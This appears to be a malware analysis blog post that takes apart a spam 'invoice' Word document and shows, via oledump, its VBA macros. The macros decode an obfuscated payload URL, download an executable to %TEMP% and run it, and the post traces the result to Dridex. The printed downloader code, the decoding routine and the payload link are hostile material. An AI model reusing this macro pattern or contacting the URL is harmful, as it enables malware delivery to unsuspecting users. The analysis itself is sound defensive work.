Some malware families often use spam campaigns as a method of distribution. Usually they deploy simple social engineering tricks – trying to deliver packed executable in disguise of a document, i.e. PDF (as we mentioned before).
Such trick may fool some users – however, more advanced of them will notice that the real extension of the file is .exe – means, it is an executable, not a document as it claims. But even if it was a real document, it doesn’t mean that it is harmless.
In this post we will reveal the true mission of a DOC file delivered in a spam.
Analyzed sample
(523)-Invoice 7500005791.doc – md5: 370751889f591000daa40c400d0611f2
Extracting macros
I will use oledump – a very handy tool for dissecting DOCs, written by Didier Stevens.
First, let’s have a look on what are the elements inside the doc:
./oledump.py “(523)-Invoice 7500005791.doc”
1: 114 '\x01CompObj' 2: 4096 '\x05DocumentSummaryInformation' 3: 4096 '\x05SummaryInformation' 4: 10158 '1Table' 5: 513 'Macros/PROJECT' 6: 113 'Macros/PROJECTwm' 7: M 7807 'Macros/VBA/Module1' 8: M 18990 'Macros/VBA/Module2' 9: M 15739 'Macros/VBA/Module3' 10: M 1475 'Macros/VBA/ThisDocument' 11: 7123 'Macros/VBA/_VBA_PROJECT' 12: 617 'Macros/VBA/dir' 13: 4096 'WordDocument'
As we can see above, the file comes with 4 VB modules (streams: 7,8,9,10). This is the point, where we can expect some illegitimate functionalities – macros can potentially deploy malicious actions. Let’s take a closer look.
We can easily extract the code with the help of the same tool.
./oledump.py -s <stream number> -v <file>
Let’s fetch all of them:
./oledump.py -s 7 -v “(523)-Invoice 7500005791.doc” > Module1.vb
./oledump.py -s 8 -v “(523)-Invoice 7500005791.doc” > Module2.vb
./oledump.py -s 9 -v “(523)-Invoice 7500005791.doc” > Module3.vb
./oledump.py -s 10 -v “(523)-Invoice 7500005791.doc” > ThisDocument.vb
Analyzing macros
Execution of macros starts in ThisDocument.vb
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub autoopen() UserRetiraItem 0, 0, -5 BroadCastParty 0, "" SendBanObj 0, 0, "" DarCuerpoDesnudo 0, False IniciarDeposito 0 Bloquear False, 0, 0, 0, False HayLava -1, -1, -1 End Sub
The procedure autoopen deploys several functions, that can be found in other VB modules.
Inside another file there are several public objects, that are used to share information between them:
Public halalaya As Object Public adbrd As Object Public processEnv As Object Public tempFile As String Public shellApp As Object
The object named halalaya will be used to handle HTTP communication.
The function SendBanObj generates some GET request:
Public Sub SendBanObj(UserIndex As Integer, Slot As Byte, Object As String) Set shellApp = CreateObject("Shell.Application") '*************************************************** 'Author: Unknownn 'Last Modification: - ' '*************************************************** adbrd.Type = 1 Dim Professor() As Variant Professor = Array(148, 158, 156, 150, 94, 81, 79, 149, 147, 145, 70, 137, 128, 115, 131, 125, 114, 126, 54, 105, 115, 48, 117, 105, 43, 47, 46, 42, 43, 39, 40, 36, 33, 25, 81, 78, 27, 24, 68, 68, 78, 8, 61, 78, 57) halalaya.Open "GET", GetStringFromArray(Professor, 44), False Exit Sub Us.rList(Use.rIndex).BancoInvent.Object(Slot) = Object Call Writ.eChangeBankSlot(UserI.ndex, Slot) End Sub
The link where the GET request refers is not readable. Fortunately, the deobfuscating procedure can be easily found in another module:
Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String Dim i As Integer Dim result As String result = "" For i = LBound(fromArr) To UBound(fromArr) result = result & Chr(fromArr(i) - LenLen + i * 2) Next i GetStringFromArray = result End Function
As a result of executing the function on the array we get the link, from where the payload will be fetched:
http://www.slasoft.co.uk/56475865/ih76dfr.exe
The response is saved into the temporary file and deployed:
adbrd.write halalaya.responseBody adbrd.savetofile tempFile, 2 shellApp.Open (tempFile) End Function
Creating name of the temporary file:
tempFile = processEnv("T" & "EMP")
If ToMap Then Call Sen.dData(SendTarget.ToMap, sndIndex, Prepar.eMessageBlockPosition(X, Y, b)) Call Writ.eBlockPosition(sndIndex, X, Y, b) End If tempFile = tempFile + "\" & "Hich" & "Az2" + "." +"e" + "xe" End Sub
So, as we can see the result is saved into: HichAz2.exe in the %TEMP% directory.
Conclusion
The simple analysis have proven, that the delivered file is not a real invoice, but a downloader. It fetches executable from the hardcoded link, saves it in the TEMP folder and deploys.
The downloaded file turned out to be a sample of Dridex malware – md5: 7f0076993f2d8a4629ea7b0df5b9bddd
Users of Malwarebytes Anti-Malware are safe from this Dridex variant as it is detected as Trojan.Sharik.
However, users of Malwarebytes Anti-Exploit premium are protected from the actual malicious Word document as the file is blocked before it manage to deploy its malicious functions:
COMMENTS